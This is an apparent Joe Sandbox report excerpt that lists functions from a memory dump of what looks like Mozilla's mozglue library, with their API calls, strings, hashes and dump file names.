Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: bf64633861abd926cc6d9d39fe2e043aedd7dcf3c4cc1ef1dff2f8f9f40b26ca
Instruction ID: 92799d7442a13ed8477d521d2a37c55efadab531311340e78eceef355254b8db
Opcode Fuzzy Hash: bf64633861abd926cc6d9d39fe2e043aedd7dcf3c4cc1ef1dff2f8f9f40b26ca
Instruction Fuzzy Hash: D1118171B002159BCB01EFA5CD889AE7BB4EF89354B114129E50697341DB30AD48CBA5

Function 6C52F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C52F480

Part of subcall function 6C4FF100: LoadLibraryW.KERNEL32(shell32,?,6C56D020), ref: 6C4FF122
Part of subcall function 6C4FF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4FF132

CloseHandle.KERNEL32(00000000), ref: 6C52F555

Part of subcall function 6C5014B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C501248,6C501248,?), ref: 6C5014C9
Part of subcall function 6C5014B0: memcpy.VCRUNTIME140(?,6C501248,00000000,?,6C501248,?), ref: 6C5014EF

Part of subcall function 6C4FEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C4FEEE3

CreateFileW.KERNEL32 ref: 6C52F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C52F523

Strings

\oleacc.dll, xrefs: 6C52F4CB

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: fabadc038a56c8f713d7379d84b096a999ecdd30ef786c866ed7c3dd339e2250
Instruction ID: 129fcac6b08c2afe4dd411e8807abc0f9eb55325d260bba2c206e31624497daf
Opcode Fuzzy Hash: fabadc038a56c8f713d7379d84b096a999ecdd30ef786c866ed7c3dd339e2250
Instruction Fuzzy Hash: A741A6306087209FE721DF69DC84A9BB7F4AF84318F500B1CF99187691EB74D949CBA2

Function 6C53E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C504A68), ref: 6C53945E
Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C539470
Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C539482
Part of subcall function 6C539420: __Init_thread_footer.LIBCMT ref: 6C53949F

GetCurrentThreadId.KERNEL32 ref: 6C53E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C53E04F

Part of subcall function 6C5394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5394EE
Part of subcall function 6C5394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C539508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C53E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C53E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C53E057

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 6cbbf385660c4e17ed2310b3e63c8573d502fa9967b681e58773552321ce454d
Instruction ID: e8562f1db827aafe45fd6093ace84f26a1dc4e8fcd4e1569037803a01d9e1b8a
Opcode Fuzzy Hash: 6cbbf385660c4e17ed2310b3e63c8573d502fa9967b681e58773552321ce454d
Instruction Fuzzy Hash: 9621B074A011288FDF00DF64CC58AAEB7B5AF85208F140418E80A97741EB75AD49C7E5

Function 6C5574A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C557526
__Init_thread_footer.LIBCMT ref: 6C557566
__Init_thread_footer.LIBCMT ref: 6C557597

Strings

UnmapViewOfFile2, xrefs: 6C557552
kernel32.dll, xrefs: 6C557557

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 54f13e2694455ca5d7fc5b72c6a904e94f91f8756c51df29cb5a7664f915e345
Instruction ID: 91e10ecfc31475b07c6418c55bfdaf1a7069202bf749c04e98d9a13dbab56139
Opcode Fuzzy Hash: 54f13e2694455ca5d7fc5b72c6a904e94f91f8756c51df29cb5a7664f915e345
Instruction Fuzzy Hash: D8213731701510DBCB25CFA8CC15E9A33B5EB873A4F51862AD80587F80DB38B891C6BA

Function 6C55A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C57F770,-00000001,?,6C56E330,?,6C51BDF7), ref: 6C55A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C51BDF7), ref: 6C55A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C51BDF7), ref: 6C55A7E4
LeaveCriticalSection.KERNEL32(6C57F770), ref: 6C55A80A

Strings

accelerator.dll, xrefs: 6C55A7BF

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 9711311f39773018eee229175f66aa3b679ccd08963a4329cefc57abdd49609a
Instruction ID: 66738eeaa9f224c069c47a0e681af028754961748e28c2c7179ea1b14d65c922
Opcode Fuzzy Hash: 9711311f39773018eee229175f66aa3b679ccd08963a4329cefc57abdd49609a
Instruction Fuzzy Hash: 30018BB07102149F9B08DF5ADC84C2277B8FB8A315746816AEC098B712DB70AC44CBB1

Function 6C5575B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C55748B,?), ref: 6C5575B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C5575D7
FreeLibrary.KERNEL32(?,6C55748B,?), ref: 6C5575EC

Strings

RtlNtStatusToDosError, xrefs: 6C5575D1
ntdll.dll, xrefs: 6C5575B3

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 10d2643f0eaad2f38816c967dd5a4942b69cdbee8203978eefd1303cd43a7303
Instruction ID: 34aa7d68417a02d1c3b993449e8eb185f4dea8f270ead46e02bb98ccc2087a06
Opcode Fuzzy Hash: 10d2643f0eaad2f38816c967dd5a4942b69cdbee8203978eefd1303cd43a7303
Instruction Fuzzy Hash: 1DE0BFB1610361ABDF02AFA1CC487017AF8EF46258F124126ED05D1701DBB980D1CF39

Function 6C557600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C557592), ref: 6C557608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C557627
FreeLibrary.KERNEL32(?,6C557592), ref: 6C55763C

Strings

NtUnmapViewOfSection, xrefs: 6C557621
ntdll.dll, xrefs: 6C557603

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: a97804649cf4fed237037e4374e50d68475c2f2ec2862d0201468f68892e7608
Instruction ID: c06c94d8866fcd6069ece2c58bf9c44cc6778312e2f928df07030a7eaac7c11a
Opcode Fuzzy Hash: a97804649cf4fed237037e4374e50d68475c2f2ec2862d0201468f68892e7608
Instruction Fuzzy Hash: 74E0BF706103619BDF02AFA5CC48B057AB8E716399F028216ED05D1740D77980D48F3D

Function 6C55BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C55BE49), ref: 6C55BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C55BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C55BE49), ref: 6C55BF38
RtlReAllocateHeap.NTDLL ref: 6C55BF83
RtlFreeHeap.NTDLL(6C55BE49,00000000), ref: 6C55BFA6

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: f1b626ddae8cd9a74ba1dc6435775e2303310b23e3f019224101f8086aed1930
Instruction ID: e5deb600009e83090a8fe9d16b5d412cf081b5740e3332b6c731cf639055be3d
Opcode Fuzzy Hash: f1b626ddae8cd9a74ba1dc6435775e2303310b23e3f019224101f8086aed1930
Instruction Fuzzy Hash: 4E51AF71A002058FE710DF69CD84BAAB3B2FFC8314F69463AD555A7B54D731F9168B80

Function 6C548E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C53B58D,?,?,?,?,?,?,?,6C56D734,?,?,?,6C56D734), ref: 6C548E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C53B58D,?,?,?,?,?,?,?,6C56D734,?,?,?,6C56D734), ref: 6C548EBF
free.MOZGLUE(?,?,?,?,6C53B58D,?,?,?,?,?,?,?,6C56D734,?,?,?), ref: 6C548F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C53B58D,?,?,?,?,?,?,?,6C56D734,?,?,?,6C56D734), ref: 6C548F46
free.MOZGLUE(?,?,?,?,6C53B58D,?,?,?,?,?,?,?,6C56D734,?,?,?), ref: 6C548F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C53B58D,?,?,?,?,?,?,?,6C56D734,?,?,?), ref: 6C548F8F

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: c3c03d00085b718c676e8c68719c35631f038d527e96ee556cd32c483fe1b5fa
Instruction ID: b352fb204d7c3441ef0054b675641bf616a69078261fb59d869c90f992d9341f
Opcode Fuzzy Hash: c3c03d00085b718c676e8c68719c35631f038d527e96ee556cd32c483fe1b5fa
Instruction Fuzzy Hash: C6519EB1A012169FEB14CF68DC8066E77B2AB44308F25456AD916EB740E731F905CBE2

Function 6C5427E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C542620,?,?,?,6C5360AA,6C535FCB,6C5379A3), ref: 6C54284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C542620,?,?,?,6C5360AA,6C535FCB,6C5379A3), ref: 6C54289A
free.MOZGLUE(?,?,?,6C542620,?,?,?,6C5360AA,6C535FCB,6C5379A3), ref: 6C5428F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C542620,?,?,?,6C5360AA,6C535FCB,6C5379A3), ref: 6C542910
free.MOZGLUE(00000001,?,?,6C542620,?,?,?,6C5360AA,6C535FCB,6C5379A3), ref: 6C54293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C542620,?,?,?,6C5360AA,6C535FCB,6C5379A3), ref: 6C54294E

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 3f2e1f36a63ee03608fa82ee9ee07df7e7d911ba4ce5f9fe42b49dcefda6100c
Instruction ID: 09f50538179213c5402ccd704f9d36bc92e2ff821fd6c99f2b8edfe58879625f
Opcode Fuzzy Hash: 3f2e1f36a63ee03608fa82ee9ee07df7e7d911ba4ce5f9fe42b49dcefda6100c
Instruction Fuzzy Hash: 4A41CEB1A002268BEB14CF68DC8836E73F6AF45308F258929D556EB740E731E944CBA1

Function 6C4FCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C57E784), ref: 6C4FCFF6
LeaveCriticalSection.KERNEL32(6C57E784), ref: 6C4FD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C4FD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C4FD139

Strings

MOZ_CRASH(), xrefs: 6C4FD187

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 2e8fcdde4c48a0700dbcc5ef0abd800fd9169e7260c93b4c2fae54b1f32f6bbe
Instruction ID: 98e9f4f2c13063b3eb670130c1a559f3d5be65e40713c2d0043f375186238d75
Opcode Fuzzy Hash: 2e8fcdde4c48a0700dbcc5ef0abd800fd9169e7260c93b4c2fae54b1f32f6bbe
Instruction Fuzzy Hash: F541E771B003264FDB05CE7C8D95FAA36B0EB89714F160239E924E7784D7B55C428BE8

Function 6C4F4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4F4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4F4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4F4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C4F4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C4F4F1E

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 0362c1ce21085f800a3a9cee2c4f16aec4f96dbe43df76f9ce0fd36da29df92d
Instruction ID: 208f8ce9ea29741da02caddd0dd05036c1034133063aefcfbe64ae47c4969d8b
Opcode Fuzzy Hash: 0362c1ce21085f800a3a9cee2c4f16aec4f96dbe43df76f9ce0fd36da29df92d
Instruction Fuzzy Hash: 8441AA716087019FD701CF69C880E5BBBE4BFC9394F109A2DE46A87B51DB30E95ACB91

Function 6C501530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C50152B,?,?,?,?,6C501248,?), ref: 6C50159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C50152B,?,?,?,?,6C501248,?), ref: 6C5015BC
moz_xmalloc.MOZGLUE(-00000001,?,6C50152B,?,?,?,?,6C501248,?), ref: 6C5015E7
free.MOZGLUE(?,?,?,?,?,?,6C50152B,?,?,?,?,6C501248,?), ref: 6C501606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C50152B,?,?,?,?,6C501248,?), ref: 6C501637

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: bc5b89c430535e85ff66f0eb3ef1ef8e769465c6fa3374b15175965ef3546357
Instruction ID: bbb6ade06b538ac2ccafcf8f06298cccbf80aad8cc8bf2fe796723c78008a3b6
Opcode Fuzzy Hash: bc5b89c430535e85ff66f0eb3ef1ef8e769465c6fa3374b15175965ef3546357
Instruction Fuzzy Hash: F831C472B001148BCB18CE78DC5146F77A9EB813687690B6DE823DBBD4EB30D9048B92

Function 6C55AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C56E330,?,6C51C059), ref: 6C55AD9D

Part of subcall function 6C50CA10: malloc.MOZGLUE(?), ref: 6C50CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C56E330,?,6C51C059), ref: 6C55ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C56E330,?,6C51C059), ref: 6C55AE01
GetLastError.KERNEL32(?,00000000,?,?,6C56E330,?,6C51C059), ref: 6C55AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C56E330,?,6C51C059), ref: 6C55AE3D

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 96dbea1f88b6c2a31b27ecae0be210cae568742e5cedeaee6f62351a8e375c2e
Instruction ID: aa57175d0635ebd2f514c69569ff2953ac6688bb6443016febc97cd5ce1546ed
Opcode Fuzzy Hash: 96dbea1f88b6c2a31b27ecae0be210cae568742e5cedeaee6f62351a8e375c2e
Instruction Fuzzy Hash: D13121B1A002159FDB10DF768C44ABBB7F8EF89614F55482AE84AD7710E734AC44CBB0

Function 6C555EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C56DCA0,?,?,?,6C52E8B5,00000000), ref: 6C555F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C52E8B5,00000000), ref: 6C555F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C52E8B5,00000000), ref: 6C555F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C52E8B5,00000000), ref: 6C555F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C52E8B5,00000000), ref: 6C555FD6

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: fd4d82159e1f6ae532d9b1e781504f32c477c24a732b59c113034c1afe24bffa
Instruction ID: 1a08eec0eeb5daa4ed045076e973bfad398141f6354d3c72537b6e2dba5652be
Opcode Fuzzy Hash: fd4d82159e1f6ae532d9b1e781504f32c477c24a732b59c113034c1afe24bffa
Instruction Fuzzy Hash: BB3149743006108FD710CF29C898A2AB7F5BF89318BE54559F5568BB95C732EC51CB90

Function 6C4FB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C4FB532
moz_xmalloc.MOZGLUE(?), ref: 6C4FB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4FB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C4FB57E
free.MOZGLUE(00000000), ref: 6C4FB58F

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: adb486b25638ff579c530fa48253f6a3e2e502f476830e076d79330255baa28d
Instruction ID: 29f51df05021debce9a879fc83844ba1bb2da88713274b3f8e395b40b7686546
Opcode Fuzzy Hash: adb486b25638ff579c530fa48253f6a3e2e502f476830e076d79330255baa28d
